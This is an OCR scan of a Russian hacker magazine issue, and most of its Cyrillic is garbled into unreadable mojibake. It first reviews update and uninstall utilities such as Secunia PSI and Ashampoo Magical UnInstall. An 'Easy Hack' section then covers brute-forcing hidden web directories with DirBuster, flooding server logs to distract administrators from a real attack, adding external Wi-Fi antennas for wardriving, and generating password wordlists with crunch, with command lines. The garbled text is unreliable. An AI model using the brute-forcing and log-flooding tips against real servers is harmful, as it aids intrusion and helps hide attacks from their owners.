Ha HaweM AVlCKe Tbl Haill,lJ,eWb HeTOJlbKO CBe>KVle BepC1l1111 nporpaMM Vl3 ,o,>KeHTllbMeHCKoro Ha60pa (3TO Haw pasnen Dailsoftl. HO J.1 see ynIJJlVlTbl, npe)J,CTaBJl€HH ble

B 3TO~ crarse.

~ 038

CVlCTeMe. Bbl6lo1paeM Hy>KHylO, K11VI KaeM «Download» - lo1 nporpasuaa cava. cxa-ras ,o,lI1cTpll16yn1B, Ha4WHaeT npouenypy YCTaHOBKIt1. YBbl, npou,e,o,ypa It1HCTa11nmJ,1I1111 He npoapa-rua 111 He aBTOMan13I1lpOBaHa: nOllb30BaTe111O naxe npJ.1XO,lJ,VlTCs:J BPYllHylO Bbl611lpaTb nanKY ,lJ,lls:J 3aKallKII1 p,VlCTpIl16yrJ.1Ba. Ho J.1 3TO

He see. ECllll1 OH11a]:;JH~cepBII1CaM euie MO>KHO 6blllO npocrars OTcyrcTBJ.1e npOBepKII1 BepCII1i11 B CJ..1CTeMe J.1 B03MO>KHOCTb 06HOBlleHII1s:l CO¢Ta, TO B ,lJ,eCKTOnHOM ZeuAPP TaKYIO B03MO>KHOCTb anon-ie MO>KHO 6blJlO peanvcoean-. TaK -rro npVlAeTC5=! VlCKaTb peureane ,o,lls:J nO,lJ,,o,ep>KKlo1 aKTyallbHocTIIJ BepCIt1~ nonoru-nreru.uo

06HOBllEHI1E YCTAHOBllEHHblX npOrPAMM

B cny-iae C BJ.1H,IJ,OBbIMJ.1 npJ.1JlO>KeHJ.1r1M~I, KOr,lJ,3 4yrb He K3>KAYIO He,D,elllO nossnsuorca HOBbie ny611Il1YHble cnllo]:;JTbl ,o,lls:! pa3HbiX bpayaepoa, Adobe Reader'a " npo-u-x K""eHTCK"X npll1110.>KeHlI1i11, sonpoc 06HOBJleHIt15=! oc06eHHO axryaneu. nonHOCTblO aBTOMaTJ.1llecKoi:1 CJ.1CTeMbl, KOTOpa5=! OTClle)KlI1- Balla 6bl noaaneune HOBblX BepclIli:1 III cat-ia ocyutecransna anp,e~T, 51 He Hawen. Ho 3TO, HaBepHoe. p,a>Ke K llY4weMY, 11160 OT nO,lJ,06Ho]:;J aBTOMaTII1KII1 B YC110BII1s:JX Windows-oKpY>KeHII1s:J >K,lJ,aTb MO>KHO 6blJ10 6bl -rero yronuo. COBceM npyroe ,lJ,ellO

- nonyaBToMaTlI1lleCKJ.1~ II1HCTpYMeHT, KOTOPbl]:;J 6bl KpO~ ncrnvrao OTCJ1e)KlIISan HalllllllVie o6HoB11eHlIIw 111 npennaran YCTaHOBV1Tb V1X spy4HyKl C nououiuo WTaTHblX J.1HCT3JlJls:!TOpOB. Pa3pa60TKoili nouofiuux V1HcTpYMeHToB III 3aHIIlMaeTC\4 3an3,D,H3s:! securitY-KoMnaHII1$l Secunia. Mbl He 6Y,lJ,eM 6paTb cepbe3Hbie KopnopaTlIIBHble peWeHII1s:l, Hau,eneHHble t+a u,eHTpaJlJ.130B3HHoe 06HOBlleHVle B ceTV1, a a03bMeM becnnar-

, 7

"' •• H ... n •• '.""H,,(" IDDAdob<nOl"p"""o.. illJj", •• ",,,,,,,, .. , .• 00,· .. , .... ", ..

0, ... "".., .• IDIi1""~'''' So", .. ~" ffillil"'·"''''s",'''o,. Ifle 0 •• ". ch'.t'"'''' I!II'!)0oo"eCh,,,,, ••.• OOo!l 0 •• ,1. c', ...... '" S\l •• y •• • •• roOOs,,"vo )~E 1.6,'/0,' filW so. J.v. J'~ , .•.• 1< •• WgIMw,,,,Wo"""""7,. !!IEI""""','

OOH.pV.,.H ...... ' .. {" ...... ,y' .. ,.,f!l n.,.o."''',"('1

,".~.ll,"{A""">:) = Gttl(;jQili. = Q~C!Q" = Q!fjC! 0 'io 6®C!Ql;l.

= O~~Q<il. = 01!tlQ 0 '1.1 O(i6C;aQl;l. aece a 0(i6C10<il.

= QilC!01\l. = Ql!!IClQIIl. a~c:;.Q~ Oi!l'Jc:,,0lU G~c:,,01io

n .... "" •••• ,"v ..... " ...... , .. , ,."".,.,., •• O!tr '1)-.".

Ara, uenaa nauxa HenaT'IeHHOrO COq,Ta B CMCTeMe

Hylo yTVlJlll1ry .0.11>=1 nepco-ransuoro V1CnOJlb30BaHJ.1s:J - Secunia Personal Software Inspector.

Jlerkcsecuas YTIIIJlIl1Ta 6blCTPO ]I] co 3HaHII1eM nena cka-uipyer BCIO cucrevy VI aunaer no,o,po6HblW or-ret, KBKJ.1e 1113 nporpau« Hy>K,o,afOTC~ B 06HOB11eHVlIIl. All$1 Ka>K,D,oVi ycrapesuie.i nporn Bbl,o,aeTC~ peC1TJ.1Hr yrposu (B COOTBeTCTBJ.1J.1 C 06WII1PHO]:;J

6a3oi:1 Secunia OnIl1CaHII1]:;J Ys:J3BIIlMOCTe]:;J] J.1. YTD CBMoe y,lJ,06HOe, nps:JMas:J ccsrnxa -ra aarpysxy caMo~ nocnenaeji BepCII1J.1 Al-1CTpJ.16yTII1Ba. O,lJ,J.1H KllIllK ~ III Y>Ke MO>KHO npacrynars K 06HOBne H III 10. nOMIIlMO sroro npcaepserca HaJlJ.1YJ.1e an,lJ,eillTOB ,lJ,Jl5=! caMo]:;J Bl-1H,IJ,bl, a BCs:JK(.1~ pas, korna Tbl no oWVl6Ke YCTaHOBII1Wb He caMYIO nOC11eAHIOIO SepCJ.1Kl KaKO]:;J-HIIl6Y,IJ,b CO¢TIIlHbl, B

rpee 6y,o,eT n051Bns:JTbCs:! COOTBeTCTBYIOw,ee npenynpexae-

Hille. Oco6oe BHvlMaHlI1e YAe11$1eTC$1 6e30nacHoCTII1 bpayaepoe

III npVlJl]l]HKOBaHHblx K HIllM nllarlllHaM [Adobe Flash Player, QuickTime, Sun java III T.A.l. a TaK>Ke KJlllleHTCKV1M nporpavv ,lJ,l1>=l ceresux CepBII1COB [HanpVlMep, Skype]. nO,lJ,p06Hbli1 OTYeT, CKa>KeM, no ActiveX-KoMnoHeHTaM CTaHOBIIlTC$1 nocryneu, ecnn nepesecra Secunia PSI B paCW]I]peHHbli1 pe>KVlM VlHTep¢ei1ca.

Fl

Help

What is Magical UnInstall?

Internet

Save Current System Configuration

Compare/Create log

Magical UnInstal1 Preferences

Install an Application

Uninstall an Application

Reinstall a removed Application

Exit program

nepBoe, 'ITO Ael1aeT Magic Unlnstall - cnenOK peecrpa M q,aHl1oBoH CMCTeMbl

XAKEP 06/137/10

nepep, HaLJaIlOM CKaH\I1pOBaHIIl)1 yrlllJHn CKaYVlBaeM no 6e30- naCHOMY HTTPS-npoKOny Ha60p npasun. B KOTOPblX 0603HaYeHO, KaKVlM 06pa30M npoaepsrs akryaru.uocr s npVlIlO>KeHIIlR. Tyr CTOVIT CKa3aTb, 4TO - a Moew MaWIIlHe YCTaHOSileHO npocro orpOMHoe KOIlVlyeCTSO coora. OT <cropcro )1 He ycnesao v136aBmnbCR. npVl 3TOM Secunia YMeeT Haxop,VlTb 06HOSIleHHble sepcVlVl p,IlR MHorVlX 1Il3 HlIlX. YSVl,.o,es B csoelll RSS-IleHTe VlHqWpMaU.VlKJ 06 o6HosIleHHow sepcuu Java, 3KcnepVlMeHTa pagw " 3anYCTW" PSI - wHepopMa~W" 0 He06xogwMOCT" 06HoBIleHVls:! TOTLJaC nOS1BVlJlaCb Ha 3KpaHe. BOT 3p,ecb-TO l!1 HaYVlHaeWb oi.iyuiars, 4TO no,.o,,.o,ep>KKolll nponykra 3aHVlMaeTCs:! He nape-rea 3Hry3VlaCTos, a uenas KOMaHAa securityCneLJ,VlaIlVlCTOB. KCTan1 roBOP)1, S mo6olll MOMeHT SpeMeHl.1

PSI Bbl,lJ,aeT pelllTVlHr o6HosIleHHolll Cl!1CTeMbl Secunia System Score. Y MeH)1 3TO 3Ha4eHvle nocne rionroro OTcyrCTSVlI1 anAe~1ToB cocraer sno 86%. A y Te6S1?

KAK 6blTb C 6ETA-BEPCHHMH?

HeCMOTpS1 ua Ham14Vle YCTapeawVlx nporpaMM, B CV1CTeMe Y>KV1SaeTCQ ew,e V1 orpoj-n oe KOIlVl4eCTSO 6eTa-sepcV1w coora. KOTOPOMY P,D pennsa ew,e aaneko. Boo6w,e npVlS1THo nony- 4V1Tb npVls:!THble 60HYCbl HaMHOIO paHbwe ,lJ,PYiVlX, a nOMOYb pa3pa60TYlt1KaM B nOV1CKe HeCKOIlbK\I1X 6alO8 - He TaKa)1 y>K 60Ilbwas:r nnara aa TaKYfO B03MO>KHOCTb. YBbl, Secunia PSI HlIll<aK\I1e 6eTKVl He npVl3HaeT - OHO V1 nOHS1THO, eCIlVI y>K

B peIlVl3ax nOIlHO 6aroB, TO -rero >K.o.aTb aT bera VlIlVl p,a>Ke aIlbepa-sepcVlIIl? KaK >Ke 6blTb? OTCIle>Klt1BaTb BbIXOp, CBe>KVlX nporpaMM MHe nojaoraior pecypcu fileforum.betanews.com

VI www.filehif)Do.com. ECIlVI B nepsov npocro ny6IlVlKYIOT-

Cs:l HOBOCTV1 0 Hep,aBHO Bblwe,.o,wVlX aepcuax nporpavu. TO FileHippo npencrasnser c060t71 oipoMHet71Wl!1t11 karanor coora. KOTOPbl~ cxpynynes+ro 06HoBIl~eTCrl, KaK TOflbKO BbIXOp,V1T HOBa~ BepCVlrl npoipaMMbl - Bep05HHo, 3TO ,lJ,eIlaeTC8 aBTOMaTVl4eCKV1. Eonsu,e roro. BceM >KeIlalOw,VlM npennaraerca CKa4aTb FileHippo.com Update Checker, KOTOPblei TaK »ce,

KaK V1 npora o r Secunia, npoaeps er YCTaHoBIleHHble B CV1CTeMe npOipaMMbl Ha HaIlV1YVle 06HOSIleHV1~. Ho npVl 3TOM .. B OTp,eIlbHOM cnucxe npennaraer YCTaHOBVlTb ew,e VI nocrynuue fiera-aepcvu nporpaMM, YKa3b1Bas:l nprlMble Jll!1HKVI Ha aar pya«y ,lJ,l!1CTpl.16YTV1BOB. 3a6asHo, YTO nocne YCTaHOBKVl TOIlbKO 4TO cKa4aHHoCi FileHippo.com Update Checker PSI TyT xe OTn"canes. 4TO ,lJ,Ils:! 3T0t71 npoipaMMbl ecn, Bepo1S1 uosee Be,lJ,b s:!BHO aper, 06Vl>KaeTcs:! 4TO IlV1? :)

nPABHRbHOE Y,llAREHHE npOrPAMM

Kor,lJ,a MeHIO «nYCK» pa3paCTaeTCS1,lJ,0 uepeansuux paswepoe. HaYVlHaeWb 3ap,YMblsaTbcs:!: «nO>KaJlYIll, 3p,ecb MHoro IlVlWHerc». Moe npaanr o nplllMepHo TaKOBO - SC)=!KVl~ pas. 3anycKa)=! wTaTHbl~ BVlH,lJ,OSbllll MeHep.>Kep ,lJ,Il)=! YCTaHoBKV1 Vl YAaIleHVls:! nporpaMM, MO>KHO Vl36aBV1TbcR KaK MV1HVlMyM OT nl1TVl HeHY.>KHblX YTVlIlVlT :l. BOT, Ka3aJlOCb 6bl, e,lJ,VlHCTBeHHa8 epYHKLJ,VlI1 naKeTHOIO MeHep,>Kepa, KOTOpaSi ynanser nporpauuu, V1 KOTOPYfO Microsoft apone KaK peanusoaan. ecrs. nOIlb3YWC5i

- He XOYy. Ho HeT! nporpaMMY, KOHeLJHO, OHa C rpexot-t nonoIlaM y,n,aIls:!eT, HO eCIlVl cnenan. CHVlMOK peecrpa 111 epaWIlOBOW CV1CTeMbl AD YCTaHOBKV1 l!1 nocr.e YAaIleHV1s:l, TO 06HapY>KII1BafOTC)=! VlHTepeCHbie oaxru. JlVlwHVle KJlf04V1 peecrpa, KaKYle-TO BpeMeHHble ¢a~Jlbl. .. nQ4eMY OHVI OCTaIll!1Cb - HenOHs:!THO. ECTb MHOIO YTVlIlVlT, xotopsre MarWieCKV1M 06pa30M ofieuiaror npaenrn.uo y,lJ,aIlS1Tb nporpaMMbl 1113 Cl!1CTeMbl, VlcnOIlb3YIOT V1HTeIlJleKryaIlbHble aIlropVlTMbl ,ll,Il8 noncxa IleBblX KIllOyetli

B peeCTpe VI T.,lJ,. Ha ,lJ,eIle 60IlbWVlHCTBO Vl3 HVlX - nom-an rvdrra, HO He Ashampoo Magical Unlnstall (www.ashamgoo. com]. YeM )Ke OH OTIlV1LJaeTCs:! OT scex ccransuux? npVlHLJ,vtnOM ,.o,e~cTBV1s:l. V1,lJ,eQ B TOM. 4TO nporpacn-ra ece epeua pC'l6OTaeT epOHOM VI KaK TOIlbKO 06HapY>KVlBaeT 3anYCK setup.exe, install.

XAKEP 06 /137/10

exe VI npo-urx VlHCTaIlJlS1LJ,IIlOHl-lbIX 6l!1HapHV1KOB, HaLJVlHaeT TLlIaTeIlbHO cnenure sa l!1X AeWCTBVlRMVI VI Vl3MeHeHVlRMV1 B CVlCTeMe. no XO,lJ,Y nerta COCTaBIlS1eTCs:l 6a3a p,aHHbIX, B KOTOpOI~ 3anVlcaHbi see ,lJ,eiiiCTBVl>=I YCTaHoBw,WKa: l<aKVle KJlIOYVl B peeCTpe ripon-can. KaKVle cj:JaillIlbl VI rne pa3MeCTVlIl - ace 4eTKO no epaKTy. 3axoTen yganwTb nporpar-u-y? Ashampoo Magical Unlnstall np06V1BaeT ee no 6a3e Vl OTKaTblBaeT Ha3a,lJ, Bce V13MeHeHVls:!. [lonxon paboraer 6e30TKa3Ho. Mario Tom, ecnn Tbl no oWV16Ke y,lJ,aJlVlIl He ry nporpa-nay l!1IlVl 6aHaIlbHO nepeny-ian, TO Jlf06YID OnepaLJ,VlIO ,lJ,eVl HCTaIlIlSi LJ,V1V1 MO>KHO B TeLJeHl!1e aexoropcro speMeHV1 OTMeHVlTb, BocnOIlb3DSaSWl!1Cb BCTpoeHHOW yrVlIll!1TOW Relnstaller. Magical Unlnstall noxa ew,e pacnpocTpaHS1eTcs:r bccnnaruc. HO JlVlu.eH3VloHHbliii KIlf04 npVlp,eTC8 aar.pocun, Ha call1Te pa3pa6oT4V1KOB.

YBbl H AX!

MeHe.o.>Kep naKeTOB KaK S Linux? YBbl, noxa HVl4elO He BbIVlAeT. AD rex nop, noxa HeT CTaH,lJ,apTV13VlpoBaHHolO MexaHVl3Ma ,lJ,Ils:l YCTaHOBKV1, 06HOBIleHVls:l Vl YAaIleHl!1)=[ npV1IlO>KeHV1R, penoanropna AIl8 xpaHeHVl5i nporpaMM, 0 KaKOM-IlVl60 auar ore apt-get Vl3 HVlKCOB MO>KHO naxe He roeopnrs. KOCs:lK Microsoft? 5e3ycIloBHO. Ho Bep,b VI pa3pa60TYVlKl!1 OTKPblTOro CO¢Ta He Cl!1IlbHO -reu.yrcs Ha 3TOT ever. nOBaIlbHO paaueuias CBOW npoexru Hd Google Code, Source Forge W gpyr"x pecyp[ax, p,aBHO MO>KHO 6blIlO cocopaswn, VI YTO-HVl6Y,lJ,b nO,lJ,06HOe Tonsxo nO,lJ,YMat71: Y,lJ,06Hblt71 MeHep,>Kep npVlIlO>KeHl!1G1, B KOTOPOM 6YAeT TOIlbKO OTKPblTblW coer - KaKOS 60HYC ):\Jl51 acero oneucopca. a? nOKa >Ke npunercs ,lJ,OBOIlbCTBOBaTbC)1 pasp03HeHHblMVI yrl!1IlVlTaMVI, <oropue ,lJ,a>Ke B TaH,lJ,eMe non-rae

He neriaror acero roro, Ha YTO cnocofiuu MeHe,lJ,>Kepbl naKeTOB B LinuxI

AmI Ka>KAoi.1 npora npennaraercs npllMoH nHHK Ha AHCTPH6YTHB HOBOi.1 BepCHH

, info

• MO>KHO B3qTb i-a

3aMeTKYAPYiV1e Hennoxne nporpaMMbl p,Il)=[ nOVlCKa anne.rroe p,Il71 YCTaHoBIleHHoro Ha KOMnblOTepe cod» ta. 3TO SUMo lwww. kcsOrlwal'~.coml

u Appi.pdater (Y\fYVW, Dill> ili) r,o rgiQro I ec tsi ilPQugdaler).

• Heckonsxo r er Ha3a,lJ, 3HTY3V1acTbl nuranncs c03)J,aTb nopr IlVlHYKCoauro apt-get - TaK aa [BeT n051BVlJlCs:! win-get (windows-gel llilurc~).HanlllCaHHas:l Ha Pascal'e CVlCTeMa n03BOIl)=[Ila

4epe3 koucone ycraaoBVlTb nexoropsie YTVlJll1- Tbl, HO, K CO>KaIleHVlfO, paapafio rxa 6blCTPo sarnoxna. Ta >Ke cYAb6a nocrurna V1 ,lJ,pyrl!1e HaYl!1HaHVlS1: Appsnap, Appupdater " Aa>Ke nbITaBwlllt71Cs:l 06be,lJ,l.1- HV1Tb see V1Melow,Vlecs:! peuie+ms Getlt (www. Quch isoft.com/Getl tl.

Home» Update Checker Results

-------_

13 Updates Detected

A Alcohol 120% 2.0.0.1331

nstanec verstoo: LS.S.7S30

Evernote 3.5.3.1964

Installed Version: 3.1.1).122&

~ Foobar2000 1.0.2.1

nsteuec versen: FOObar200(l(l.9.<6-.9:

m HijackThis 2.0.4

InstalledVerslOn:2.C.O.l

4, Java Runtime Environment 1.6.0.20 (32·bit) ..=;..... nstenec versercr.s.a 17

!1 Notepad++ 5.6.8 nsreuec versen: S.6.3.0

CI Picasa 3.6 Build 105,61

InslGllea verscn: 3.6.IO~.~1

..., Silverlight 4.0.50401

Installe:lVersion:3.0.S0·IOO.O

~ Skype 0.0.158

Ins1al1edVersion ~I.(I.179

~ Unlocker 1.8.9

InslalledVerslCln.·IS.8-.0

39.751.180

2.991,16 ~

3.181,180

11.311,\SO

5.S7!.IS <>-

21.871.16{>

216K6 ()

~ 039

•• nOpllH «GreenOog» Anecc aa agrrrdoglClgmail.com

Easv Hack

#

3AAA4A: HAl1n'l CKPbITbIEAI1PEKTOPI1I1I1 cPAl1nbl HA BEI5-CEPBEPE

PEWEHI1E:

04eHb 4aCTO nplI183nOMe He06xOAWMO 05HapY>KII1Tb CKpblTble ¢aii1Jlblll1 AVlpeKTOpVlIII Ha cepsepe. HanplliMep, cnpflTaHHYIO CMS-aAMIIIHKY, cpaWIlIIIKIll c KOHcpMraMl!1l11IlIll KaKOW-TO APyrol~ KplIITJIllfeCKOW VlH¢OpMaL\VleW, xoropue He 6blflill p,OJl)KHbiM 06pa30M cnpsuaHbl VlJlVl Y)J,afleHbl. ,D,flfl Hayana, KOHe4HO xe, (TO lilT eocnoneaceerscs SCeSIllp,flll.\IIIM iyrfloM [JIlflJll aHanorVl4HbiM nOVlCKOBIliKOM] C era oneparopavasite, inurl, file type JIl T.A., Ha,D,eflCb Ha TO, 4TO aAMJ.1H 3a6blfl OrpaHJ.14J.1Tb era. Ho ecrs \1160nee snue MeTO,D,bl. npeACTaBfls:110 rebe MHOranOTOYHbl~ URL -6pyr¢opcep DirBuster, s:lBfls:lIOLlIJ.1WCs:l4aCTblO OWASP.

owasp. org /index. php/Category: OWASP_DirBuster_Project

3TO Java-rpwroxeune OTflW4aeTCI1 AOCTaT04HO WWpOKJ.1MI!1 B03MO>KHOCTI1MII1lt1 OTn1114 Hoiil npOl-l380AlIlTellbHOCTblO [06ew,aIOT ,0.06000 sanpocos]! Y MeHI1 suumo B cpe)J,HeM 300 3anpOCOB B ceKyH,lJ,y npn CTaH,lJ,apTHblx aacrpoaeex np0I!13BOAII1TeJlbHOCTII1.

nepe4111CfllO OCHOBHble ¢WYlII'

1. Pe.KYPcMSHblM: nOHCK .r:IMpeKTOp11M 11 tj>ai1noB, Ha'-U1HaSi C mo6011 ,1J;11- peK'I'OpMMi

2. ITO,1J;,Il;epJKKa npOKCM i

3. Jlonnepaxa HTTP-aYTeHTM<!>MKaU:MM;

4. ITO.D..1leJIKa HTTP-3arOJIOBKOBi

5. URL fuzzing;

6. Ilepefiop sapMaHTOB KaK no CJIOBapSit1, TaK 11 no CM:MBOJIaM.

nporpaMMa npocra B VlcnOflb30BaHWI-l, nOI1CHIO ronexo O,lJ,HY onL\VlIO. Cei1L1ac p,n11 HBSVlral\JIlJll 04eHb 4aCTO VlcnOflb3YlOTCI1 BceB03MO)l(Hble CKPWnTbl, n03TOMY npl1Mble nyrVl K ¢ai1naM uenocrym-u. TyrHaM III nQMO>KeT URL fuzzing. Bce, 4TO OT HacTpe6yeTcS1- 3TO YKa3aTb, KaKYIO 4aCTb URL CJ1e,lJ,yeT nepebnpars. WCn0J1b3YI1 nOMeTKy{dir}.

Hanp"Mep:

/show.php?p={dirj .html

E.3S"1I Heck

XAKEPCK~E CEKPETbl nsocrjrx BEL1lE~

loJ_m"""", ... ,oot - ~69.6248
_j_,u .• ,ror.loQ 6'4 '00\ - ,
oJ_,co~;j.I.O ." co. - e
:_J_ru .• rror.lO; ,,' r • .,t - 2()<S3~1. 3a napy MJIlHyT norn a~nw MyCOpOM Ha 20 Mera6a~

FI .. Option! About Help

http:/~

@ Scan Inform~~011 \ R~~uIt~· Ll<t Vie"" INs: Oftes: 2 \Results. T,ee\lj.w \& Error>, 0 \

Ay .. ;;qespeed:(T)207,(C)71,eq.>e>l.!sec

CUrrent~,ofrt.nWlQthruds:IO

~

rillle To Finish: 00:31:22

~llPloUSll~

p,o~,,,,,, ~~usedl

V1 nporpavua BMeCTO {did 6Y,lJ,eTnOfl,CTaanI1Tb3Ha'-leHVlfl W3 cBoei16a3bl. npJll3HalOCb, LITO npll1 Bcei1 CBoew KPYTOCTVI nporpasiua cupoaara.

B nOCIlep,Helil eepcuu [l.Lrcl J - 3noVi rIlIOK B peKYpcVlW, n03TOMY \Ii HorAa MO>KHO It1CnOIlb30- BaTb npe)J,bl)J,yw,ylO sepcno [0.121. CraH,lJ,apTHble 6a3bl CflOS COAep>KaT 04eHb MHoro Mycopa. Vl, 4TO xy>Ke scero, XOTb nporpauua 111 VlMeeTB03MO>KHOCTb pa6oTbl6e3 GUI4epe3 KOHCOIlb, Hoee B03MO>KHOCTW S 3TOM CIlY4Be OyeHbOrpaHVl4eHbl. ATBK - L\eHbl6bl elil HefiblJlo.

Vl euie. 8 CBIi3V1 C npOlll3BOAWTeflbHOCTbIO W 06beMOM 3anpOCOB [CM. PVlCYHOK], «oropue DirBusterornpaBIll1eT npw cKaHVlpOaaH\II\II, MO>KHO lIIcn0J1b30SBTb ero ,lJ,fl113aCOpeHWI1 noros. TaKWM 06pa30M OTSneKal1 aAMwHoB OT peanu-oro aerropa aTaK\II.

3AAA4A: nOAKJ1104I1Tb BHEWHIOIO AHTEHHY K KOMnblOTEPY I1nl1 HOYTI5YKY

BHTeHHbl. CaM pa3beM 3aKpenJ1$1eTCS1 ua xopnyce HOYT6YKa. Eonee nO,lJ,p06HOe onacauue C KapTVlHKaMVI ecrs l)IT:

PEWEHI1E:

TeMa aap)J,pailisj,1Hra HblHLje MO,lJ,Ha, W MHTepec K Hew OLjeHb BenVlK. MaHYBnbl Cae,lJ,eHbl «AD KJ1I11K08», non pobosars ce6fl XOyeT Ka>K)J,bl Jij. Ho CTa HAapTHblX BCTpoeHHblX aHTeHH B HOYT6YKax He XBaTaeT, ocofiesao eCIlIo1 X04eTCI1 Ans:! HaYBna nOnpaKTI-lKOBaTbC51, \114T06bl co BceMW Y,lJ,06CTSaMIo1- W3 ,lJ,OMa, a nll1WHWe AeHe>KHble aarparu X04eTCS1 CBeCTII1 K M\II HWMyMy. C,lJ,eIlaTb C8010 c06CTBeHHYlO aHTeHHY HeTpY,[IHO - B CeTW non-ro MaHyanoB, III Tbl MO>KeWb HaWTW nOAXOA51LllYIO VI no cune npll1eMa, 111 no CBOVIM HaBbIKaM, W no pa3MepaM sarorynvn-y ,D,pyroe,lJ,eno - npucoeA" H"Tb ee K caMOMY HOYT6YKY. Boobuie, B HOYT6YKe Ha Wi Fi - KapTe 06blY HO ecrs «BbIXOP,» ua sueui HIOIO aHTeHHY, nOMe4eHHblW KaK «aux». Vl ace. I.1TO HaM Tpe6yeTC51 - npnnaan, K HeMY KoaK:waflbHbl14 npOBOA, a APyrolii ero KOHN_( - K pa3beMY All 11

habrahabr. ru/blogs/modding/ 4 6483/

ECIlJll YTe611 HeT «cropeeuiero d-iink'a», KaK orincauo B cran-e, TO see Heo6xOAWMoe MO>KeWb HaJilTJ.1 B varasnae rnna «Mera-mn» II1fllll «lIlI1n W ,D,V1n», TaM xe MoryrnoAcKasars, YTO Te6e KOHKpeTHO Heofixo,lJ,I1MO.

HOJllo14HO 5l na51IlbHII1KTOJlbKO ua KapTVlHKax B1t1AeIl. A B WiFi, KaK 1II3BeCTHO, ceepxauCOKlI1e LjaCTOTbl, nOToMY HeYMelOLlw MO)KHO Il1t16o cnaars C rwraHTCKII1MW nOTepHMw a cane cnruana. Il III 60 so06LL\e VlcnopTII1Tb KapTo4Ky.

Ho eCTb,[lPYlOiIi 3KOHOMHblW sapua-rr - Vlcn0J1b30BaTb M iIIHVl USB Wi Fi-ap,amep lB npocrouaponse - «CBVlCTOK»J. Pa3MepoM OH C ¢IlewKY, CTOIliT OT 500 py6.

OT.JlW4HbIW eapue-rr. ocobe-mo C yyeTOM roro, I.1TO ero MO>KHO noaecrurs Ha USB-YAnl-lHWTeIlb, He 60flCb norepa CWIlbl curuana. A CTaH,[IapT USB nOA!l.ep>KII1SaeT npcsone AD

XAKEP 06/137i 10

,lJ,ononH~TenbHbl~1 60HYC: ecn~ Tbllt13Bpaw,aeWbCl=I ~ sanycxaeurs BackTrack Ha B~pryanKe OT VMware, TO co sCTpoeHHblMV1 WiFi-KapTaMVI YTe6l=1 H~yerO He nony-urrcs. w60 BackTrack wx He YSW)J,VlT lnp06neMbi C 3Myn):lu,wew WiFiJ. A BOT«CBItKTOK» Ha 41t1ncere rt2570 ~nw rt73 W o6HapY)f(ItlSaeTCI=I, Y1 nonnepxasaer He06xo,o,wMble cpyHKlI,WItl

5 MeTpOB, YTO nosaonser )J,OTRHytb «CBMCTOK}), HanpV1Mep,,o,o OKHa. ECTb «CBV1CTKV1» C pOB It1 «CBIt1CTKOB», xoropue ny-uue acero nonxoasr )J,nfi BapApawBwHra,

Bblxo,o,aMIt1 ua BHeWHlO1O aHTeHHY, Ho cavoe 3a6aBHoe - B03MO>KHOCTbcoBMew,eHlt1fl

6aHo4How aHTeHHbl1ll WiFi-«CBWcTKa», 4TO )J,aeT+5 dBi. npOCTO, nocryru-o III npaxruv- forum. antichat. ru/shawthread. php?t::57249

HO .unfi ,lJ,OMa. \!1HCTPYKlIIt1R C KapTIt1HKaMVI

karol shop . narod. ru/WiFiJwifi htm

nplll aufiope «CSVlCTKa» 3arnRHVI Ha cpOPYM aHTWyaTa. TaM eCTbcnVlCOK WiFi-a,o,aneT-

3AAA4A: C03AATb CBOIII C110BAPb Al1s:l5PYT<I>OPCEPA

PEWEHI4E:

Cei:14ac cyu.ecrayer MHO>Kec-so Bcea03MO>KHbIX bpyrtpcpcepoe. HeKOTopble V13 HII1X ncnaepxvsaor nocVlMBonbHblw V1 cI10sapHblill nepe6op, Vlcn0I1b30SaHVle perynapuux Bblpa>KeHVlW, HO He ece. A YTO, ecnVl Hap,enVlTb bpyroopcep TaKVlMVl B03MO>KHOCTf.lMV1? A V1Hor,o,a 6bl eaer Heo6xo,o,WMO C03)J,aTb cneLJ,VlcpVlLJecKltlill cnosaps. ecnu Vl3BeCTHbi KaKlt1e-TO Clt1MBOnbl napons VlJlVl, HanpVlMep, npWBblLfKVI -renoeexa

KaK aepaeur. MO)!{HO 3aI03aTbTaKYIOTyI13Y KaKcrunch. YTO npuarao - OHa BXOAWT B BackTrack Vl nosonu-o ,o,lt1HaMlt14HO pasauaaercs. nOCne,lJ,HS1S1 aepcas Ha MOMeHT nOArOTOSKW MaTepwana py6pVlKW - 2.4 - eCTb Hd AWCKe.

A cxavars ee MO>KHO l)IT:

sourceforge. net Iproj ectsl crunch -wcrdl is t /

Ha BXOAe 3agaewb Heo6xo,o,ItlMYlO cnellw<p).1Ka4).11O, B WTOre nony-aeun-cnoaape [cpa iIInOM "n" -repes stdoutl. KOTOPbl" MO)l(HO Jan"XHyTb B m060" 6pyT<jJopcep, Hanp"Mep,

B BblWeOnll1CaHHblw DirBuster. B03MO>KHOCTW WWPOKW, n03ToMY npw eenyroruxo napy nplt1MepOB, 4T06bl Tbl npoHV1Kcs:! 3TO~ rymoill Vl BCnOMHlt1n 0 Heill, Kor,o,a B03HVlKHeT Heo6xoAVI~OCTb.

.vcrunch 4 6 -f charset .1st mixalpha-space -0 START -c 100000

rne 4 Vl6 - MVlHWManbHaR W MaKCWManbHaH gnwHa cnosa B cnosape.

-f charset.lst rruxatpha-soacs - Ha60p C"MBOnoB"3 charset.lst. KOTOPbl" HY)I(HO ncnoneaoeere. B ,lJ,aHHOM cny-ae - aneaanr B o60).1x peracrpax Vl npo6en.

-0 START -c 500000 C031\aCT HeCKonbKO <jJaCinoB, pa36"Ba" TBOCi cnosaps no 100000 3anlllcew S Ka>K,o,OM.

Ecnw cnosaps C03AaeTCfl 04eHb,o,onro, TO Tbl MO>KeWb OCTaHOBVlTb, a nOTOM B0306HOB"Tb npouecc, "CnOnb3Y" npel\bll\YllIYIO KOMaHI\Y C apryMeHTOB -r,

KCTaTVI, charseUst MO>KHO nOMeHS1Tb VI HaCTpOWTb non cebs. BseAS1, K npwMepy, nonAep>KKy PYCCKOro l=I3blKa. B 3TOM cpa~ne Ha60Pbl CVlMBonOB nepe4It1CnS1IOTCS1 B KBaApaTHblX cKo6Kax lt1 HapeKalOTCf.I VlMeHeM, 4T06bl K HVlM MO)!{HO 6blno nOTOM 06paTY1TbC$1 W3 crunch 'a, TaK"M 06pa30M, 1\06aB"B B 3TOT <jJaCin CTPOKY Cnel\YIOLLIero B"l\a'

rual pha = [a6BrAeeJi{3H:t:1KJIMHOnpcTywxm~b'b31OR]

Mbl Ao6asIt1M B03MO>KHOCTb C03AaBaTb YWCTO pyccKVle cnosapu. YKa3blsaS1 rualpha B ka-rectee apryMeHTa K crunch 'y.

.vc.runch 7 7 -t @DOG@%' ABeDabed 1369 @#$%' -0 »ordl i st . txt

